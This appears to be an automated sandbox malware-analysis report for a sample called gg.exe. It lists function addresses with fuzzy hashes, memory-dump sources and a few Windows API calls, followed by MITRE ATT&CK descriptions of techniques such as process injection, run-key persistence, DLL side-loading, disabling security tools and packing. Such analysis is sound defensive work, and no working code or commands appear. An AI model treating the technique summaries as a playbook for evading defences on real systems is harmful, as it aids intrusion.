Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0768d3d1b4344f2c6d421219df92391a58e3be5d2ea99d4ea5748cca82303af3
Instruction ID: d4175b0c003c81c14b9d022d6d3addf8e7c08bbd20d8c2e9279a3fe695d881d3
Opcode Fuzzy Hash: 0768d3d1b4344f2c6d421219df92391a58e3be5d2ea99d4ea5748cca82303af3
Instruction Fuzzy Hash: 2FF158707407149FCB149F68C894B2A7BE2FB8A704F118469D5029B7A1CFBAEC858BD1

Uniqueness

Uniqueness Score: -1.00%

Function 07C00003 Relevance: .4, Instructions: 361COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ef4141b9d78b0bf2a2d8f561bf0716565eec4e881b28f9d937b370240df2d79
Instruction ID: 29021372b7c05ff9b62b0ca5702aff5239127113eb8db36bbf9f9c84a40cd3bb
Opcode Fuzzy Hash: 6ef4141b9d78b0bf2a2d8f561bf0716565eec4e881b28f9d937b370240df2d79
Instruction Fuzzy Hash: FFD17D707403049FDB018B64C899B697BF6BF8A700F1590AAE6029B3E2CB75DC85DBD1

Uniqueness

Uniqueness Score: -1.00%

Function 07C00670 Relevance: .4, Instructions: 353COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 68e95ca01e94fbb1e14a5392b802cafa553c2d4609ea619fb8e4e282dc6aad04
Instruction ID: a4481494f62bb558561038cc6aa49f42446177039f313933373fc52fb8039d05
Opcode Fuzzy Hash: 68e95ca01e94fbb1e14a5392b802cafa553c2d4609ea619fb8e4e282dc6aad04
Instruction Fuzzy Hash: C4D16BB07403049FDB048B64C895B297BF6FB8A704F119069E6029B3E1CFBADD859BD1

Uniqueness

Uniqueness Score: -1.00%

Function 07C035B3 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2185552ddebfb7ab46a0282c54668c7b6c3dac78536ebe741b308bc91cb90147
Instruction ID: b2ddabd57b51fcc17dbe1d48139edc620ecb47af8af0de627d13c6a047eefce0
Opcode Fuzzy Hash: 2185552ddebfb7ab46a0282c54668c7b6c3dac78536ebe741b308bc91cb90147
Instruction Fuzzy Hash: B5215C35740004AFCB54CF69D984DA9BBB2EF88714F1180A9E9059F3B1DB31ED45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 0132D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2054035868.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_132d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 135e4c641e82224911c91560ca78cd6d1014d25d8a6def8d2c2384aa22b706f4
Instruction ID: 2235368d3b795fd8c51347aa4ec8feded7810130610f7d39db5f43e9aaf3a2ff
Opcode Fuzzy Hash: 135e4c641e82224911c91560ca78cd6d1014d25d8a6def8d2c2384aa22b706f4
Instruction Fuzzy Hash: 8F212271504244DFDB05EF58D9C0B2ABFA5FB8831CF30C669E9094B256C376D456CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 0154D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2055103979.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_154d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0f2850e61a50ea372a3ac79294fdf88b8fb16212374e44257e4924d7a3ea871
Instruction ID: 59779d206ab0971944b5c1cb7bd2520f71584f18c70210f72784e0c0c5705694
Opcode Fuzzy Hash: d0f2850e61a50ea372a3ac79294fdf88b8fb16212374e44257e4924d7a3ea871
Instruction Fuzzy Hash: A1210071604200DFCB15DF98D984B2ABBB5FB94318F20C96DD80E4F256D33AD446CA61

Uniqueness

Uniqueness Score: -1.00%

Function 07C00FD1 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2070568861.0000000007C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7c00000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0b1431cf00b825a6474de81644409e372b1cd761ff50cae82cc13ea2effa6c
Instruction ID: 1244575aaa892eace00b12b5e32e36fcbd7dd4b407ba8e077e75cd851f7dbd9f
Opcode Fuzzy Hash: 7a0b1431cf00b825a6474de81644409e372b1cd761ff50cae82cc13ea2effa6c
Instruction Fuzzy Hash: F621D170B00145DFDB049B69D94496EBBE6FFC8314B28856AE51A9B3E1CB71CC0187E1

Uniqueness

Uniqueness Score: -1.00%

Function 0154D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2055103979.000000000154D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0154D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_154d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41e84cba84804d9039f37e384489e195bc9fc5d6162cef47cdb92d73bc79016e
Instruction ID: 3966d27414dbdae97ce26815676e8fce2a3aa6fd06d7803ba2653a8bd4bc0cbe
Opcode Fuzzy Hash: 41e84cba84804d9039f37e384489e195bc9fc5d6162cef47cdb92d73bc79016e
Instruction Fuzzy Hash: 602192755093808FDB13CF64D994715BF71FB46218F28C5DAD8498F2A7C33A980ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 0132D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2054035868.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_132d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: c7e7c0e9d3b14ce08680d05fbfd0b5c0d4bc28f129ae4b349fbddffba5870153
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 1911E172404280CFDB02DF54D5C4B16BF71FB84318F34C6A9D8090B256C336D45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 0132D655 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2054035868.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_132d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdc3fabe12553628811982ef26c23eca857be1ce9232d33460ac7bb09adc97aa
Instruction ID: 9cd947564daa5908fae37d9f159ba56516658fe5e729de3969445d50e223e775
Opcode Fuzzy Hash: fdc3fabe12553628811982ef26c23eca857be1ce9232d33460ac7bb09adc97aa
Instruction Fuzzy Hash: 9101F7311083549AE720AA69CE84767BF9CEF41338F18C82AED0D4A286C279D840CA71

Uniqueness

Uniqueness Score: -1.00%

Function 0132D654 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000015.00000002.2054035868.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_132d000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0480ae348019c654f9789d80b821c3f7c022483fdf686ac0ec1a09a4d4f286b9
Instruction ID: c2c2528241704ff70d8e87eefae20a113f4c0468af31bb8f4209a2dc00e78ef5
Opcode Fuzzy Hash: 0480ae348019c654f9789d80b821c3f7c022483fdf686ac0ec1a09a4d4f286b9
Instruction Fuzzy Hash: F6F0C2710083449AE7209E1ADDC8B63FFA8EB41238F18C85AED0C1A286C2799840CAB0

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gg.exePID: 7976, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	18.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	159
Total number of Limit Nodes:	13

Executed Functions

Function 062839D0 Relevance: 2.6, APIs: 1, Instructions: 1110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000017.00000002.2147051428.0000000006280000.00000040.00000800.00020000.00000000.sdmp, Offset: 06280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6280000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e4655d0cb4f92ab62340c9867347089028e371089f25cbec04a97545964ac68
Instruction ID: 06e9d1e920aaed0f0e6970c0611a681bc1fc83737fa9aaebf64ccf31cf25d90d
Opcode Fuzzy Hash: 8e4655d0cb4f92ab62340c9867347089028e371089f25cbec04a97545964ac68
Instruction Fuzzy Hash: 2CC2A074E122298FDBA4EF64D998B9DBBB1EB89304F1085E9D40DA7354DB306E85CF40

Uniqueness

Uniqueness Score: -1.00%

Function 062714EA Relevance: 7.8, Strings: 6, Instructions: 336
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$^q, xrefs: 062719F0
$^q, xrefs: 0627184B
$^q, xrefs: 0627197A
$^q, xrefs: 062719BF
$^q, xrefs: 062719E4
$^q, xrefs: 06271796

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q$$^q$$^q
API String ID: 0-2392861976
Opcode ID: b30b6e9eddb9169093ddc3227b64ea82b6865af6fed337ddf55d64cfe5dc9fba
Instruction ID: e893984282c4ac8276a498a35b75eee2b1426a3919288c4bda5431925f63b5a9
Opcode Fuzzy Hash: b30b6e9eddb9169093ddc3227b64ea82b6865af6fed337ddf55d64cfe5dc9fba
Instruction Fuzzy Hash: B6C10330B20305CFDB989B28D858E2AB7F6EF85700F148859E9128B3A6CF75DC56C791

Uniqueness

Uniqueness Score: -1.00%

Function 05A27589 Relevance: 1.6, APIs: 1, Instructions: 128COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 05A27718

Memory Dump Source

Source File: 00000017.00000002.2143120765.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_5a20000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 75b21b7b86c8cab9b7eb7bef8ce2cb2c21620a94ca0159cd1011271ebab91f52
Instruction ID: e3bd51f1ef7393dcce6995fa9fdc6ff226212960967b4e5bbc1e1451d270ce3a
Opcode Fuzzy Hash: 75b21b7b86c8cab9b7eb7bef8ce2cb2c21620a94ca0159cd1011271ebab91f52
Instruction Fuzzy Hash: D6512875E00218CFCB58DFA9D594AEEBBB2FF88300F20812AD416AB354DB355946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05A275D0 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 05A27718

Memory Dump Source

Source File: 00000017.00000002.2143120765.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_5a20000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: d44a5d6a080bda8ef9cbaac623b0ae4207d94c978e40c7e1fcb5bdedbb5dc661
Instruction ID: 723efef687bf24ee02405cb7f72985e0cec23ef4a38730a9644971eb8ba8ff5b
Opcode Fuzzy Hash: d44a5d6a080bda8ef9cbaac623b0ae4207d94c978e40c7e1fcb5bdedbb5dc661
Instruction Fuzzy Hash: BE51C374E00219DFCB58DFA9D594AEDBBB2FF88300F10942AE416AB364DB345946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05A275BF Relevance: 1.6, APIs: 1, Instructions: 121COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 05A27718

Memory Dump Source

Source File: 00000017.00000002.2143120765.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_5a20000_gg.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 2ae16973b0d7828170faf2fbebd14a53c829c75f0fe4022c8da3fca4ef519d1f
Instruction ID: 9b6c6bd8956f18113e857cfb2ad0fa6ea8814d358ce2e87b3d9d677e3cca84f1
Opcode Fuzzy Hash: 2ae16973b0d7828170faf2fbebd14a53c829c75f0fe4022c8da3fca4ef519d1f
Instruction Fuzzy Hash: 1F41E575E00219CFCB58DFA9D594ADDBBB2FF88300F10952AE416AB364DB345946CF40

Uniqueness

Uniqueness Score: -1.00%

Function 05A277A0 Relevance: 1.6, APIs: 1, Instructions: 60libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 05A27805

Memory Dump Source

Source File: 00000017.00000002.2143120765.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_5a20000_gg.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b0443ff48b7849fee2cb6ab7b8a6a28bebc3aeca70f991cb8573ff18b34f2918
Instruction ID: cce23721426eff0dc68b0ef2cf835a00a13be109098e592cece3ec5ed413b5c7
Opcode Fuzzy Hash: b0443ff48b7849fee2cb6ab7b8a6a28bebc3aeca70f991cb8573ff18b34f2918
Instruction Fuzzy Hash: A9219375E01218DFCB08DFA9E485ADDBBB6FB89310F10906AE515B7360DB306981CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0628A834 Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,0628AD36), ref: 0628AE3E

Memory Dump Source

Source File: 00000017.00000002.2147051428.0000000006280000.00000040.00000800.00020000.00000000.sdmp, Offset: 06280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6280000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 82ec8ccd9921f3f4040b8dd95d68d2c6f10754b913d972f5db517fc783081539
Instruction ID: 1c3250a0801f5b188facbc2add84a999a89df7d142560feb5d9abd365b451320
Opcode Fuzzy Hash: 82ec8ccd9921f3f4040b8dd95d68d2c6f10754b913d972f5db517fc783081539
Instruction Fuzzy Hash: 561153B1C003098FCB10DF9AC804ADEFBF5EF88310F10842AD959A7250C779A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 0628ADD7 Relevance: 1.6, APIs: 1, Instructions: 50libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(00000000,?,?,?,?,00000000,00000E20,?,?,0628AD36), ref: 0628AE3E

Memory Dump Source

Source File: 00000017.00000002.2147051428.0000000006280000.00000040.00000800.00020000.00000000.sdmp, Offset: 06280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6280000_gg.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 307c4a56165a4577274c81c78a7e94dc9714dd0c65aa364810f0bfce9b92277e
Instruction ID: 310bdc79e3cc76dc70ac2c508dfb95884be096efe4a1a4c090f3c308f71db4cf
Opcode Fuzzy Hash: 307c4a56165a4577274c81c78a7e94dc9714dd0c65aa364810f0bfce9b92277e
Instruction Fuzzy Hash: 7D1143B5C003498FCB20DFAAD844ADEFBF5AF88324F14842AD859B7250C379A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 05A26E3C Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05A2754D

Memory Dump Source

Source File: 00000017.00000002.2143120765.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_5a20000_gg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 8550ae08f494e356f5d0e0a7a2aae080b5a34e774dc4f38894818cb0ef51a20d
Instruction ID: 312253b98b1a080e44958ef0b8d475a0ea8bb7dbf89294e53acd155d6bc250e7
Opcode Fuzzy Hash: 8550ae08f494e356f5d0e0a7a2aae080b5a34e774dc4f38894818cb0ef51a20d
Instruction Fuzzy Hash: 171130B49002588FDB20DF9AC549B9EFBF8EB48324F208419D959A7210C378AA40CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 05A274F0 Relevance: 1.5, APIs: 1, Instructions: 44comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 05A2754D

Memory Dump Source

Source File: 00000017.00000002.2143120765.0000000005A20000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_5a20000_gg.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 743dbad000b28e63bc3c3b5b6666ea0ca5d0ee8af83ea2a2ce03e47d9d9dbceb
Instruction ID: 5ab02cd1ce93f3f7809a034541324d045042cabeb6d20f4387c3544ef9f6aa85
Opcode Fuzzy Hash: 743dbad000b28e63bc3c3b5b6666ea0ca5d0ee8af83ea2a2ce03e47d9d9dbceb
Instruction Fuzzy Hash: BB1112B5D002588FCB20DF99D545BDEFBF4EB48324F24845AD959B7210C374A684CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 06272020 Relevance: 1.0, Instructions: 1037COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8291958dd778467e57677e65ce496a6dc540d3888c3573c1f58d45045333df3a
Instruction ID: eb116b1f40935551c0e1753b4b3dedb556e466ace1c7576037a4a91a3f6e38db
Opcode Fuzzy Hash: 8291958dd778467e57677e65ce496a6dc540d3888c3573c1f58d45045333df3a
Instruction Fuzzy Hash: 00924270B40218DFCB559B64CD50FAEBBB2EF88700F118099DA06AB365DB719E81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 0627201E Relevance: .6, Instructions: 566COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aad6fd2e776258a8948d143d5f76b4183f6f095f22b59e2ac02bc5f1872ec7f6
Instruction ID: 5bdcdb0f91ab4eda911b01ef0324fb9d50e64359a898c3175a5a41dd4495ee34
Opcode Fuzzy Hash: aad6fd2e776258a8948d143d5f76b4183f6f095f22b59e2ac02bc5f1872ec7f6
Instruction Fuzzy Hash: 9122A574B50118CFCB549B24C995EAEB7B2EF88704F118099ED065B3A5CF71EE818F91

Uniqueness

Uniqueness Score: -1.00%

Function 06270508 Relevance: .5, Instructions: 461COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01024b20831d0baab5d4847828a010e3c13fdcbea44fd8e0ce4f051ddd512324
Instruction ID: feb95c77bd8b3747f9f9c21e2182e7e6794ef77061e4ac8d1bacac6f24198b42
Opcode Fuzzy Hash: 01024b20831d0baab5d4847828a010e3c13fdcbea44fd8e0ce4f051ddd512324
Instruction Fuzzy Hash: 33029D707606148FDB649F64C454A2EB7E2FB8A704F10885DD903AB3A1CFB6ED498B85

Uniqueness

Uniqueness Score: -1.00%

Function 06270580 Relevance: .4, Instructions: 425COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2d78c8b4136580721c7ba230b585ddff3a7e09fc4a71bbec8d6671289b90def
Instruction ID: 7dcea261d3c1f1d931b69693130c426c5ec21069d4475b35ffd9f6ade0f9777f
Opcode Fuzzy Hash: b2d78c8b4136580721c7ba230b585ddff3a7e09fc4a71bbec8d6671289b90def
Instruction Fuzzy Hash: 0AF1AF707607148FDB509F64C894A2E77E2FF8A700F108459DA03AB3A1CFB6EC498B85

Uniqueness

Uniqueness Score: -1.00%

Function 06270662 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b14161965618a75db7f42923f3446cddc1e9888f669d283f6a4f0e7c93dbbd99
Instruction ID: dc76ca8065da54ed41f53a9c56f031ef9fff96d548917fc17a8d4fc82628c7b4
Opcode Fuzzy Hash: b14161965618a75db7f42923f3446cddc1e9888f669d283f6a4f0e7c93dbbd99
Instruction Fuzzy Hash: 79C17374B60204DFEB449B55C998F2977A7FF89704F108059EA02EB3A1CBB6DC49CB91

Uniqueness

Uniqueness Score: -1.00%

Function 062735B3 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000017.00000002.2147008088.0000000006270000.00000040.00000800.00020000.00000000.sdmp, Offset: 06270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_6270000_gg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9aabd19d6c384105e20a9df2a4c67334e47e8e908ac36e245c7343f9d9f6ea3b
Instruction ID: 03e21c1f1f1824673a5a50b5caafb951c99f72e89ee9e81ff498b751379c2c64
Opcode Fuzzy Hash: 9aabd19d6c384105e20a9df2a4c67334e47e8e908ac36e245c7343f9d9f6ea3b
Instruction Fuzzy Hash: 9B215A35B80104AFDB54CF69D984EAABBB2EF88714F1180A9ED059F365DA31EC46CB10

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

